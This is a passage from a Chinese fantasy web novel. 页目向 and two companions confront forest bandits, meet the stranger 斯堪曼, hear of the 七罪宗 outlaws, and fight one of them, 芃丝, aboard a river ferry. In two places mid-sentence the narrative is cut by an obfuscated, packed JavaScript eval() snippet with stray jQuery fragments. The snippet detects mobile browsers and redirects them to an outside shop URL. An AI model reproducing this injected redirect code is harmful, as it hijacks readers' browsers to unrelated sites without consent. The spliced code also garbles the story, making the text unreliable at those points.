却说严离到家后,主事急来相迎。二人简单寒暄几句,严离便问是什么要紧事传他回来。主事连忙将情况告知:“我打听过了,说是去了秦淮府,府上又没什么能手,只能劳请将军百忙之中走一遭了。”见严离不发一言,主事仍旧絮叨:“咱们都受了他家的恩,现在就这么一个孩子,若真出了什么事,我等有何脸面去见列祖列宗?” 严离轻蔑笑道:“你让我找煜朱直接在信中说明便是,何必又让我回彦府耽误时间?”主事无言以对。 严离转身便出了彦府,主事叫住他:“将军!务必将煜朱带回!”严离却头也不回,并未表态。 此前,三人沿着小路在森林中穿行了好几个时辰,却依旧见不着边,木弈轩便提说就地休息一阵。 炎煜朱索性一屁股坐下,玩笑道:“向哥,你不会看错地图了吧?” 页目向摊开地图细看了一遍,肯定道:“倒是没有错,是该走这么久。看来今天得在森林里歇一晚。” 木弈轩也坐下来:“我还以为天早就黑了。这林子的树可真高,又密密麻麻的连成一片,进来时我就觉着阴森森的。” “你们看。”页目向伸出握紧的拳头。木、炎二人凑上去一瞧究竟。只见页目向双手微光萦绕,进而通体发出光亮,他双手合十渐呈拱形,无数光点如小溪般流入其掌中,页目向摊开手掌,凝出一团晶莹剔透的光球。他往上一抛,那光球如同太阳般照亮四周而不落。木、炎二人赞叹神奇,也欲一展本事,页目向便道:“现在亮堂了,但夜深寒凉,需要生团火。” 木弈轩闻言取出一铃铛左右摇晃,一边嘴上还念念有词。这铃铛是木家祠堂供案上的法器,有催生花木之功,唤作百草铃。忽见地裂破出一条藤蔓,木弈轩道:“煜朱你往这烧,注意别燃着林子。”炎煜朱猛一吸气呼出一团火球将那条藤蔓点燃。 页目向问:“这能燃多久?” 木弈轩保证道:“到明天中午也熄不掉。” 页目向打算就地歇息下来,道:“往边上收拾块空地,凑合对付一晚吧。” 一天路途劳顿自是好睡,但页目向今夜格外无眠,林里的鬼咕叮在枝头长鸣一啼,他就又清醒了。反复几次后,他也不打算睡了,起身去林中散步静心。森林各处倒是无甚区别,只有高大的树与成群的鸟。鸟雀们十分放肆,躲在树梢大声吱呀,却愈发显得林中寂静。页目向漫无目的地转了好一圈,也不亮盏灯,生怕吵醒黑夜,又似乎是想把自己融进这漫无边际的夜色里。兴许是困意渐浓,亦或是想着明天一早又得踏上旅途,他开始朝营地返回。只是眼前这一幕让他瞬间清醒——原本睡着的两人,都不见了踪影! 4. 秦淮篇-黑松林遇匪 页目向想着二人或许是寻自己去了,原地等待一阵,不见返回,心里也越发焦急。他又绕着营地转了一周,仍不见二人踪迹,便顾不得其他,高声呼唤他们姓名。 声音像是被森林吞没,没有任何回音。他再三暗示自己,切莫自乱了阵脚,脑海里突然灵光一现。只见他双手抱握于前,周身光脉涌动,一个较之前大数倍的光球被抛上空中,越过树梢,点亮夜空。他想着:若是他们迷路,见到这光亮就知道返程。可这光芒过于异端,鸟雀振翅惊逃,林中兽类奔突,大地微微颤动,似乎有什么在不断逼近...... 清冷而陌生的声音从上方传来:“你在做什么?” 页目向闻言一惊,抬头看向林梢高处,正好遇上对方目光——那是一仰卧枝头的男子,有着一双凤凰颜色的眼睛,他十分俊朗,从下仰视,形容穿林细叶雨,穹顶云见月。似乎他在这儿待了很久,只因其衣着黑色,隐入了这繁密的黑松林中,所以未曾被注意。 页目向想问他伙伴行踪,那人却突然俯冲下来,揽过页目向,重新登上树冠。页目向早取出节气令,正要念诀,男子察觉怀中人的异动,紧扣住页目向双手,小声道:“别动!麻烦被你弄醒了。” 页目向闻言,低头向下看:不知何时探出十几个人,个个手持兵器,面相蛮横。其中有一个异常高大,豹头虎目,凶神恶煞,手握一根巨大铁棒槌,似为一队头目。他们在篝火四周翻找东西,迟迟不肯离去。 页目向低声问:“你见过他们?” 男子回他:“他们前不久才来这林中,自称是秦淮陆匪。” 页目向闻言大喜,所谓得来全不费工夫,但若林中还有其他山匪贼人,木、炎二人说不定真遇上什么不测,急忙道:“你能先放我下去吗?” 男子问:“你不怕?” “我找他们有事。” 男子听罢,皱起眉头,语气厌恶:“见你打扮像是个彬彬公子,原来也是山贼土匪一窝。”随即脱手。页目向突然坠去不由惊呼一声,男子又伸手拉他,仍旧一幅厌恶模样:“难得你干干净净来到人间,也该干干净净活一遭,世道再差也不能去寻这些下作行当。” 页目向无端遭一顿说教,心中不悦,怒道:“你自顾自编些什么假大空的道理!我才不是什么山匪贼人!” 真正的山匪早听见上边的动静,嚷骂着要二人下来。 男子并不理睬他们,再次问页目向:“你真不是?” 页目向郑重道:“真不是!” 得到肯定答复,男子抱起页目向落地,自己又跃上枝头静观其变。页目向觉着此人言行古怪且身手不凡,仍需格外留心。但眼下最要紧的还是面前这些山匪汉子。 “叨扰了,请问你们可曾见过......”页目向转念一想:依他们先前行迹,倒像是被光球引来,弈轩和煜朱的行踪,或许树上那位男子知晓。于是问道:“你们可曾去过舍源镇?” 那群山贼土匪也不管问什么,只夸耀自己如何威风、怎样厉害,叫人趁早交出钱财,免得皮肉受苦。 页目向嘀咕其不大通人性,却又不知他们到底有多少真功夫。试探着往最近那人挥出一道光斩,见对方行动笨拙,应势倒地不起,心中已经有几分把握。其余山贼见状大惊,持刀拿剑,都涌了上来。页目向留心避开刀剑锋芒,趁他们挥刀间隙,聚光于指,点其经脉,断其行动。不多时,除了那位高大巨人仍就撑着,其余皆倒地不起。 山贼头子像是突然开了智,又能交谈了。“你这小娃娃有些本事,你先前问俺什么来着?俺没听清。” 页目向再次问道:“你们可曾去过舍源镇?” 对方先是一愣,神色变得十分复杂,忽然像释怀一般,大笑道:“果真是官家乡的少爷,今天就把你绑了换钱!且吃我一锤!” 凭他体格便知其力道强劲,不可角力硬搏,页目向边退步边挥出光斩。山贼头子猛力挥动铁锤,掀起尘土旋聚成墙,把光斩一一挡下,顺势奔上前来,朝着页目向抡起大棒槌砸了下来。页目向往旁边纵身一跃,听见巨锤落地,哐当一声巨响,炸起沙石飞裂,尘烟弥漫。他趁此反手点出光指,山贼头子飞快抡起巨锤往身后打去,正好抵上光指。 他咬紧牙关不断施力,逞强笑道:“小娃娃,你这手得废了!” 页目向早凝出一身细汗,不发一言,死抵着那巨锤,突然间抬升力道,巨锤噼啪一声从中裂开!山贼头子大惊失色还想伸手来抓,页目向侧身躲过挟制,又点出一指将他放倒,这才气喘吁吁蹲坐下来。 “你是舍源镇页呈长老家什么人?”树上男子突然开口,“《辉照》一式圣光体,二式光源聚,不会有错。” 页目向惊恐抬头,十分诧异,问道:“阁下是何人?” 男子飞身跃下并未回答,上下打量一番,似乎在确认自己的猜想。 页目向偷捏着节气令,试探问道:“阁下似乎一直在树梢歇息,或许知道我的同伴去向?” 男子微微愣神,浅笑道:“不就在你身后?” 页目向立马转头看去,望不见人,举起节气令:“阁下是在玩笑吗?” 男子信步走至其跟前:“我瞧见你离开不久后,他们便醒了,原地寻了你一会儿也出去了。头顶的光球在黑松林中很惹眼,他们若是瞧见应该已经返回了。” 页目向见他突然靠近,忙往后撤步,紧张道:“若再等一阵,他们还是没回来,又该作何解释?” 男子饶有兴致地观察着页目向的反应,不假思索道:“自然是最坏的情况。” 页目向心神不宁,略微思索,就近抓过一个山贼。山贼动弹不得,只能惊呼饶命。页目向佯装凶狠道:“你可曾见过两个人?一男一女,女孩年纪身材皆与我一般,男孩稍矮些。” 这山贼哆哆嗦嗦,舌头也捋不直,好不容易凑成一句——是不曾见过。 页目向想:若非与山贼陆匪有瓜葛,怕是林中道阻,所以耽搁了。又问:“那你们去过舍源镇吗?” 山贼涕泗横流,好不容易才能说话,忙道:“公子!官家乡,小人们躲避尚还不及,怎么敢有胆子前去冒犯?” “我听说你们有别于一般山贼土匪,自号是秦淮陆匪,怎么来到巴蜀府地界兴风作浪?” 山贼急忙道:“公子明察!小人们并非那秦淮陆匪啊!” 页目向闻言偏头去看那男子,男子却道:“你们前几日打劫过路富商,不是还号称秦淮陆匪?” 山贼听着声音熟悉,够脖子去看,看清楚是何人,吓得魂飞魄散,声泪俱下道:“太岁爷爷!小人们并非秦淮陆匪!只是因他们颇有些本事,所以才假借人家名号。” 页目向十分诧异地看向男子,继续问山贼:“你细说道来。” “公子!太岁!请听小人慢慢讲,小人们原是秦淮南陵乡破落小山头保家。” “什么是保家?” “回公子话,保家就是......抽取农户收成,保农户免受强盗苛吏欺压。” “你们本事平平,怎么对付强盗苛吏?” “公子有所不知,只消把抽来收成再各方匀出去些,便可相安无事。” 见页目向神情鄙夷,山贼急忙找补道:“小人们也算安分,从不犯烧杀劫掠之事,在几十里乡中也算落了个好名声。本来多年井水不犯河水,偏偏前年蹦出个妖孽,立誓要一统南陵各山头。那妖孽颇有能耐,旗下几百弟兄,就以陆匪做号,把原先的保家、强盗、官吏杀得人头滚滚。小人们这是无奈才逃了出来,前不久刚到此地,想着松林隐秘,若有路经客商,也好一续生存。” “你可曾听说他们去过舍源镇?” “小人们只顾逃命,无从知晓他们行踪。只是私以为凭他们的能耐,去官家乡走一遭也是无妨的......” “他们都有些什么本事?” “我也只是听说,那妖孽有六个结义兄弟,个个本领高强!追杀小人们的是排老幺的小弟,会放怪烟,人不像人鬼不像鬼的,忽然就是一爪子上来,我们本来有五六十个弟兄,其余人都是遭此毒手啊!” “其余六人呢?” “小人并未真的见过,只听其他山头的弟兄讲,都有一幅好皮囊招摇在外,内里却混账不干人事,他们兄弟七个还成立什么七罪宗......” “混账!”男子眉毛上竖,眼神狠厉,“如此罪愆还当作什么标榜不成?” 山贼吓破了胆,强行翻了个身,磕头认罪。 男子这般反应倒像是生理性的厌恶。页目向也不愿掺和细问,便对男子道:“我急着寻找同伴,就先告辞了,阁下请自便。” 男子也不认生:“我同你一起去。” 页目向皱眉道:“同我?那他们?” 男子不以为意:“民不告,官不理。” 眼看他实无收尾之意,页目向只好拿出乾坤袋,念诀将那一众山贼捆入袋中。 见页目向动身要走,男子跟上前去,问道:“你手里的是节气令?你就是页目向?” 忽然被陌生人提及姓名,任谁都觉着蹊跷,页目向并不正面答他,反问道:“阁下似乎很清楚页家?可是页家某房远亲?” 男子自报姓名,解释道:“安德里·斯堪曼,只是在书上了解过页家。” 页目向停步回望,原本觉着此人是天生异象,仔细端详原来是异邦客。见他答非所问,十分可疑,又问道:“什么书?阁下总不会是见过页家家谱?” 斯堪曼诚恳答道:“一本名为《舍源尽》的东方典籍。” 页目向以为其随口杜撰,边走边问:“来青龙国路途遥远,阁下是为寻亲还是访友?” 斯堪曼闷声不应答,悄步跟在身后。 页目向又问:“或许阁下认识我两个同伴?” 斯堪曼被问得生烦,摇头答道:“我并无恶意,你不必试探。我与你做个交易,我带你找到你的同伴,你领我去见页呈长老。” 页目向并未做答,前行不止。斯堪曼双唇微启,轻吐语调,忽然间一阵树影摇风。页目向奇怪这异样动静,转头来瞧,斯堪曼正好越步上前,轻快道:“跟上,在这边。”页目向并不愿意搭理此人,但万一他真能寻到二人,岂非错过?便跟上前去。 却说黑松林占地约有万顷,其中山石、溪流不可计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572381|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数,仅凭地图上标注的那条小道,自难窥其全貌,方要入了松林密处才晓得高枝低灌叶障目,山重水复疑无路。斯堪曼身形矫健,在林梢枝头跃行,又好似不必凭借那些枝干亦可腾空翱翔,体态轻盈,如同一只飞鸟。 可怜页目向笨拙,只得在荆棘丛中穿行,他急喊:“慢些!地上不比高处,待会准跟丢了!” 斯堪曼闻言返身落地,奇怪道:“不是说页家绝学《辉照》中有门法术,动似光阴变幻,你怎么不会?” 此话确实不假,页目向累得气喘吁吁,也难得与他辩解:“什么书讲的如此齐全?那确是我不济了。” 斯堪曼鄙夷道:“练功偷懒可不行。我这次先送你过去。”说罢搭过页目向肩膀,跳上枝头,朝前跃进。页目向觉着他虽然行为乖张,但确无恶意,遂默许其举动。 两人行去不远,忽然迎上一黑云状物疾行而过,险些撞上二人。页目向刚想问责,却听见斯堪曼道:“他们自己来了。” 页目向喜极,连忙要下地与他们相会。尚未落稳便听见炎煜朱在喊:“往哪逃!”定睛一看果真是炎煜朱。 炎煜朱本来一脸怒意,忽然瞧见页目向,遂才眉开眼笑,大步上前,喜道:“向哥你上哪去了!让我们好找!” 页目向正要问他详情,木弈轩恰好从林中探出身子,还劝着慢些,忽然见着页目向,也喜笑颜开,迈步上前,喜道:“向哥怎么出去也不跟我们知会一声?必须请我们一斤风吼茶饼!真是吓坏我们了!” 页目向见着二人平安无事,长舒一口气,笑道:“我不过是去散散步,你们便要起床寻我,真是一刻也离不得我!” 斯堪曼倚在树枝上,打着哈欠,略有不合时宜的问道:“你们刚在追什么?那团黑雾吗?”炎煜朱和木弈轩这才注意到他,以为又是什么怪人,皆蓄势待发。 页目向忙介绍道:“他是斯堪曼,是他指我到这儿来找你们的。” 炎煜朱忙收拳,好奇问道:“你看见那团黑雾了?那家伙本事不大,逃得倒挺快,忽然就变成一团雾飞走了!” 页目向忙问:“你们和人交手了?没伤着吧?” 木弈轩明显受气,埋怨道:“那人实在不可理喻,我们寻你途中逢上他。也不知是有什么执念,弄得自己多光荣似的!反复就那一句话,问他东,答嫉妒,问他西,还是嫉妒,这不存心气人嘛!” 炎煜朱觉着木弈轩说得不过瘾,骂骂咧咧道:“岂止不可理喻!没说几句就要动手,嘴上还不闲着,放了好些烟还想暗算,结果被我一把擒住摔在地上,给了他几弹火流星,真是解气!” 页目向问:“那人叫什么?” 木弈轩回想片刻:“他在烟里大喊大叫好一阵子,自报姓名叫什么心生狸还是生心狐的。” 炎煜朱提及他便窜出一股无名火:“定是患了失心疯!” 页目向摇头道:“这怕不是失心疯,他可能就是陆匪七罪宗之一。”炎煜朱与木弈轩自然是不清楚什么七罪宗,页目向便将先前山贼招供的话转述给二人,又说起先前页长老交待过陆匪的事情。 木弈轩纳闷道:“我也读过宗教文章,也不见得嫉妒大罪需要将这二字挂在嘴边?” 页目向笑道:“他们哪读过这些书,定是偶然闻得这个名头,以为文雅响亮,牵强附会上罢了。” 斯堪曼冷哼一声,喃喃道:“把罪愆当美名的蠢材。” 不知现在什么时辰,天还漆黑一片。页目向提议:“先回营地,明早再细说,或许还得去卫城厅一趟。” 木、炎二人同意,斯堪曼也自觉跟上前去。 却说心生狐与木、炎二人交手不敌,吃了亏便灰溜溜地往密林深处逃去,黑雾行径处,百草凋零,忽然有人叫住他:“狐狸你往哪去?”黑雾抖落散去,从中现出个人来。 心生狐眉眼娇媚,身材窈窕,正以为是个曼妙女子,开口却是清脆男声:“芃丝哥。” 问话这人也是一副美人相,举手投足间多些涵养贵气,像是咬着金汤匙出生。两人虽服饰妆容相似,举手投足间却分明不同。美人揽过另一个美人,挑逗道:“宝贝,你只不过去追些虫豸,怎么落得如此狼狈?” 心生狐也不看他,别过脸去,眼睛里却满是阴狠算计。芃丝还以为是什么情趣,口吻愈发宠溺:“怎么不肯与哥哥说?哥哥好替你出气去!” 心生狐故意道:“哥哥若是见了他们,却不肯为我出气了。” 被他一激,芃丝果真来了兴致,喜问:“可是遇见什么俊秀货色?” 见心生狐还是不肯看他,芃丝便轻捏他下巴转过头来。他骤然神情委屈,竟真像是吃醋一般,撒娇道:“你果真见色起意,不肯管我!” 芃丝只想快些亲近佳人,早已忘乎其他,糊弄道:“弟弟还得告诉我他们人往哪去,我才好管你。” 心生狐矫揉造作断断续续地表白前事,又浓墨重彩地说几人何等清新脱俗,听得芃丝兴奋难耐,忙道:“弟弟既然旅途不顺不如早日返回秦淮,哥哥替你报仇就是。”心生狐也不揭穿他,装作犹豫不舍,讨些敷衍的宽慰才肯点头应允,等背过身才难得露出个真笑来。 5. 秦淮篇-汉江摆渡 三人一早便起身出发,斯堪曼闻得动静也不消他们招呼,自行尾随其后。木弈轩与页目向多打听了几句,觉着他言行举止颇有大家风范,并无坏人面相。页目向总归有些疑虑,但凭他交待《辉照》一事,又觉着或许是页长老有意安排也未可知,所以并不赶他。炎煜朱倒是对其映像颇佳,见他独自落在后边,还热情地折返回去与他闲聊。 却说汉江城处在河谷之间,两岸连山,只东西方各有一处山势缺口。几人出黑松林后,攀上西峰,于其鞍处进入城中。居高临下,城内房屋依山而建,重岩贴合,玄色高楼,赤色灯笼,山树环绕,俱似新峰。大街小巷皆为缓坡,一齐向中心落去,眼底一水抱合处,便是汉江源头。 页目向掂量着乾坤袋,忧思重重,不知觉已领着众人到了卫城厅门口,终于肯拜托斯堪曼:“有些缘故我们不方便直接进卫城厅,能否烦请你帮忙将我袋中山贼押进卫城厅,与卫官们说明情况,好与收押。” 斯堪曼看了眼页目向,勉强点头。页目向大喜,将乾坤袋递予斯堪曼,斯堪曼问道:“若要笔录问询,提交证据又该如何?” 页目向也是头一次报官,哪清楚这些流程?木弈轩见他尴尬,正要提个主意,斯堪曼却轻笑一声,不等她说完便拎着乾坤袋进入卫城厅。 木弈轩小声道:“怎么话都不听完便去.....” 页目向道:“他像是有十足把握,或许真有主意。” 过了一阵,见斯堪曼从卫城厅出来,页目向忙问:“收押了?” 斯堪曼答:“对,他们自首了。”便径直走到一旁阴凉处歇着了。 三人颇感意外,忙问详情,斯堪曼却不肯说了。 此时烈日正盛,炎煜朱直呼要找间旅舍歇息,页目向偏要使坏,恐吓道:“舍源镇在汉江城务工的乡亲不在少数,若是遇见,通报消息,你必被抓回去!” 炎煜朱信以为真,急道:“那快走吧!” 页目向笑道:“我们此时去汉江渡口坐船,能尽快进秦淮府才是上策。” 汉江渡口泊靠的多是货船,开往秦淮府的客船不定时有,满员即发。几人因去卫城厅多耽误了些时间,故页目向着急得很,拽着炎煜朱、木弈轩一路往渡口飞奔而下。斯堪曼十分悠哉,不知用了个什么法术,轻飘飘似气球般悬置空中,拴在他三人身后,被带着往前赶去。 好不容易抢上渡船,里边情形却不由让人眉头一皱:那渡船本就小的可怜,似个窄抽屉,只容得下几十人,里边打挤安置了十余条长凳,都坐满了人。有卖瓜果的商贩,有食荤腥的工人,还有些体味重的、高声喧哗的、吞云吐雾的——总归不是什么雅室。 船呈三层阶梯状,前低一截是靠行甲板,后高一截是舵室,中间则是客舱,舍源三人捏着鼻子找到一边角靠窗位置坐下,斯堪曼却不肯上去。 炎煜朱问他:“曼哥你不上船吗?” 斯堪曼摇摇头,自顾自绕去船尾。 木弈轩好奇问道:“他这是?” 页目向怕他生事,走出船舱寻人,抬头忽然见到斯堪曼正端坐在舵室顶上,疑道:“怎么好端端的上那儿去?” 斯堪曼不假思索道:“里边闷热嘈杂,我待不惯,你进去吧。” “那你坐稳咯,小心江上风大。”页目向也不好多劝,便回去客舱。 检票员点过人数,数到五十,吆喝一声,船笛声响,浪往后游去。水托着船摇篮歌唱,页目向困意愈浓,他便头靠着船舷打起了盹。迷迷糊糊中,木弈轩摇醒他,偷偷指着几位少女,小声道:“向哥,你快听。” 页目向还在发愣,听见七罪宗三个字,顿觉清醒。顺着木弈轩指向,几位少女在那儿逗趣,手里还拿着好些画卡,一个个似银铃般欢笑。页目向全神贯注地听着他们交谈——“我没想到七罪宗的风流都传到了丹京府,只可惜这些画卡都是旧货,也还是抢了三四盒,好让店家知道该多进些新的!”“管他新旧,我照样枕着,一夜好梦。”“瞧瞧你们,花痴极了!” 页目向听了半晌,明白他们所言七罪宗是当今秦淮名角,应该是偶然重名,只是如此凑巧却也可疑,便上前询问:“您好,冒昧听见姐姐们谈话,请问能否看下画卡?” 突然的搭讪吓着她们,不住叫了声哎哟,见着是位男子又不知怎的异常欣喜,热情递上画卡,像在平复心绪,念着些没头没脑的话。 页目向小心接过画卡,分辨画中人物。他们长相相似,皆华丽出众,打扮时髦新潮。页目向勉强区别出七位人物,忽然想起山贼供词里,陆匪七罪宗也尽都是容貌出众之人,于是套话道:“七罪宗这名字像是取材宗教文学,我猜是一人代表一罪宗?” 少女们欢喜着说不错,随手指了一张画卡笑道:“这位是心生狐,嫉妒罪大人。我猜男人更喜欢这种娇俏动人些的。”她们神采奕奕,眉飞色舞,附和道:“谁不爱漂亮?” 页目向听着不适,又不好流露于表,于是叫来炎煜朱,小声道:“煜朱你认认是不是他?” 少女惊喜问道:“你们见过小狐狸?” 她们还想细问,不想炎煜朱拿起画卡,立刻皱眉道:“就是这家伙!” 少女们好似换了张脸谱,凶神恶煞,青面獠牙,怒道:“家伙?你哪来的山野人粗人,好大的胆子!怎么敢辱骂他!” 炎煜朱争辩道:“跟失心疯似的一口一个妒忌!哪里可爱?” 少女们急红了眼,口出污言秽语,眼看着就要动手,页目向忙把炎煜朱赶回去,又向少女们诚恳道歉。她们气消得倒快,不久后情绪归于平和,又接着给页目向介绍。只是委屈了炎煜朱,皱着眉头郁闷好一阵。木弈轩忍不住偷笑,轻抚他的背,好让他莫要岔气。 有了炎煜朱指认,那目标便八九不离十。页目向顺势夸赞:“他们都很好看,可是秦淮府名角?” 少女们闻言,个个喜露于表,笑着答是。又替七罪宗说明一堆头衔,什么“秦淮府风流”,什么“男色风景线”。 页目向隐忍不发,又挑了张画卡称赞:“这位星眉月目,俊朗潇洒,请问是?” 少女看了眼画卡,低声道:“我以为男人是不喜欢孤月殿下的。” 其他少女忙反驳:“胡说!男人谁不追求天下至尊,怎么不喜欢了?” 页目向心中已然明了,笑问:“那他,哦!孤月殿下便是傲慢罪了?” “对的!对的!孤月殿下还是七罪宗的宗主呢!” 又是个新鲜称呼,页目向越听越觉着好笑,依次指认其他几张画卡。少女们也不嫌口舌干燥,争着回答:“身高最挺拔的两位是耳不闻殿下与口不掩殿下。虽说面相有些冷峻,其实只是腼腆了些。不闻总是副睡不醒的样子,懵懵懂懂,十分可爱!不掩是大胃王,厨艺十分了得!厨具在他手中好像水袖一般灵动!” 页目向没看出什么冷峻腼腆,也不曾见过把厨具舞得像水袖一般的人,只在在心中默想:这应该是懒惰和暴食。 少女们热情不减,仍兴奋传教:“文质彬彬的是墨本先生!他可是淮阳学宫毕业的高材生!所谓美貌与智慧并存。”“红发帅哥是半战,金发帅哥是芃丝,应该是七人里最貌美的两个。” 凭着这几句,页目向尚分不清贪婪、愤怒与色欲的归属,正想细问,听见其他少女不服气道:“最字也不见得公允吧!”页目向见她们又要起争执,便先提出要购买七罪宗一人一张画卡,那群少女倒是一点也不吝啬,还争着要送。 页目向回到座位,眉毛轻挑,捏开七张画卡,得意笑道:“都听明白了?得来全不费功夫!” 炎煜朱不满道:“费我!没由得又遭得罪!” “我真没想到山贼土匪还能粉末登台表演,听他们赶走保家,一统山头的事迹,怎么也得痞气十足。”木弈轩接过卡片仔细端详,“但长相这般精致的,我只见过严离哥哥。” 炎煜朱夺过画卡,恼道:“打住哦!” 页目向失笑不语,正要拿回画卡,斯堪曼突然在窗外探出头,说道:“画卡给我,我也要看。”三人被吓了一跳,只见斯堪曼整个身子倒吊在窗外,伸出手作势要接过画卡。 页目向慌忙递过画卡,紧张道:“这是在江上,你安分一点!” 炎煜朱也想学这倒挂金钩的本事,还兴奋问他如何做到。木弈轩则盯着他看了一会儿,喃喃道:“错了,他也这般精致。” 斯堪曼并未理会三人,只把画卡接过去,扫视一二后冷哼道:“果然一副臭皮囊!”说罢递还画卡后又不见踪影。 炎煜朱赞叹道:“曼哥真不是一般人!凭他身手在我家定能连拿十几期魁首!” 木弈轩道:“我看他举止不凡,或许是出自西方名门?” 页目向点头,想着或许是该找个机会好好清问一下他。 木弈轩小声问道:“向哥,会不会是偶然重名?此七罪宗非彼七罪宗,毕竟台上的名角何苦去做占山的陆匪?” 页目向道:“我也想过,只是你们在林中遇见之人,正好与山贼的供词、少女的画卡对上,那群少女不像是说谎,倒是山贼有可能诓我......” 木弈轩思索片刻:“那便不会有假,心生狐我们遇见过,就凭那一面,山贼的话就已十分可信。” 炎煜朱没什么思路,只能跟着点头。 页目向道:“不管如何,仍先去往秦淮府,就算重名弄错,陆匪也总归出在秦淮。” 斯堪曼又从窗外探出脑袋,轻声道:“何必等到秦淮府,眼前不就有一位?” 页目向刚要问他是何意,木弈轩轻轻揪住自己衣襟,手指着一张画卡,又使了个眼色。页目向偷偷望过去,见一俊俏男子正站在船头。他着一件素色连帽衫,如瀑青丝落出帽檐随风飘散,一如早春杨柳,他四肢纤长,眉眼含春,眼角处有一点红痣,好似骄阳月季。对上画卡,不正是芃丝? 斯堪曼并不待见这位大美人,轻哼一句又上舱顶去了。页目向仔细对比好一阵才敢确认,本尊与画像却也有些不同,至少真是个活人。他对得入迷,忘记躲闪,一时正好迎上芃丝目光,以为败事,心跳剧烈。芃丝莞尔一笑,冲着页目向轻佻地勾了勾手指,往甲板上去了。 页目向仍有余悸,忙问:“你们可看见了?” 炎煜朱才反应过来,也问:“他人上哪去了?” 页目向又看向那群少女,见其无动于衷,更觉反常,拉过二人附耳低语:“他刚勾手让我上甲板去。” 木弈轩惊讶道:“他看见你了?” 炎煜朱拍拍胸脯:“无妨,又不是做贼心虚,我们一起去,看看他要作甚。” 页目向点头,提醒道:“还是谨慎些。我刚才观察那群少女仿若熟视无睹,实在反常,怕他会什么特别的神通。” 三人结伴穿过船舱踏上甲板,正奇怪甲板上也不见人影,芃丝却突然从舱门旁扑了上来,要与页目向拥抱贴合。他见着木弈轩与炎煜朱,更是喜道:“弟弟还怪有情致,晓得裹两伙伴一同来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572382|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 页目向忽觉耳后湿热,迈步转身,严肃道:“请放尊重些!” 芃丝以为他欲擒故纵,一手还在慢解腰带,神情暧昧,笑道:“人都被我勾来了,还要怎么尊重你?” 炎煜朱见不惯他这幅做派,厉声道:“你好好说话!我们是有事想问你,你可是七罪宗的芃丝?” 芃丝满脸狐疑,手上动作也停下,道:“你在明知故问?”他仔细玩赏起三人,见少女样貌水灵长相标致,小男孩剑眉星目未来可观,少年虽然相貌平常但气质清冷,虽非心生狐所言人间绝色,却也都未经初染,别有一番春色。他故作亲热道:“弟弟妹妹是怎么认识我的?” 页目向觉着他语气温和,以为是个好说话的主,便道:“从您戏迷处得到您的画卡所以认出您。有些问题,虽然有些唐突但请您答复。” 芃丝饶有兴致地看着他,挑眉道:“你问。” “您最近可去过舍源镇?” “舍源镇?”芃丝眉头微皱,忽而又眉开眼笑道:“原来是官家乡的公子。您问这个何意?我是不曾去过。” 页目向心一沉,直截了当地问道:“那您可曾听说过秦淮陆匪?” 芃丝忽然挺立身子,长长的睫毛忽闪颤动,仍就笑道:“那是什么?不曾听说。” 页目向凭其反应,知晓他分明说谎,便盯着芃丝。或许这目光过于露骨,芃丝只觉心中狂燥热,大步走上来要来抓页目向。炎煜朱臂膀幻化火焰,木弈轩提前备好铃铛,页目向觉着是自己理亏还想拦他们。 芃丝将他三人动作收入眼中,笑说:“弟弟颇有绅士风度,不如同我回秦淮去,问问宗里其他几位弟兄可曾去否?” 页目向答道:“多谢好意,您可帮我问问,我仍有其他事,就不随同去往了。” 芃丝突地抓住页目向手腕,□□道:“你我二人都有此心,再过多推让就失了度。” 炎煜朱随即振出火焰,侧步勾出一记火拳,未见得芃丝闪躲,只是忽然凭地消失,环看四周却见他依着舱门鼓掌称妙。 木弈轩惊讶道:“无相!他怎有如此神通?” 炎煜朱也以为芃丝神通广大,丝毫不敢怠慢,四肢皆幻化火焰,冲将上前。 芃丝莞尔一笑,像是随风飞舞的一粒沙尘,若错过一眼便不知又去往何处,始终无法触碰,轻松躲过几轮拳脚。 页目向急道:“弈轩你试试唤些水藤缠住他!” 木弈轩举起铃铛左右摇之,千百条藤萝从水中探出一并向芃丝缠去。甲板空间小,芃丝虽仍能躲过,也难觅上下一处合适落脚,逐渐招架不住,一时间气喘吁吁。页目向与炎煜朱也一齐上阵,配合木弈轩三方夹击,定能将芃丝拿下。 芃丝眼见斗争不过,身形一闪绕至页目向身后,钳住页目向,恶狠狠道:“我更偏好一心一意,还是弟弟你与我作伴吧!” 页目向反手一指,并未点中,正要挣扎,突觉周身似有蚊虫蚁咬,瞥过双臂,皆是细创刀伤,鲜血淋淋。木弈轩与炎煜朱心中大怒,还想来夺人,见芃丝退至船沿,也不敢继续激他。 芃丝已然有些癫狂,一边抚摸着页目向脸一边还在喃喃说:“弟弟怎么还有些怪癖?哥哥倒是不介意......”他话没说完,便听见噗通一声,原来是他自己狼狈落水。 三人定睛一看,不是斯堪曼又是谁?只见他收回腿脚,走到页目向面前,故作嗔怪道:“我记得《辉照》中有种神通,如披天蚕软甲,刀枪不入,你怎么不会?” 页目向刚想道谢,被这一句呛得哑口无言,缓缓吐道:“是我疏于练习了。” 木弈轩忙上前来看页目向伤势:“我许久不用医法,你忍着点疼。”她双掌盖在页目向伤口处,绿光莹莹从掌心渗落,不多久伤口便结痂愈合。 页目向宽慰道:“不过是皮肉伤,割得浅,只看着吓人。先抓住芃丝!” 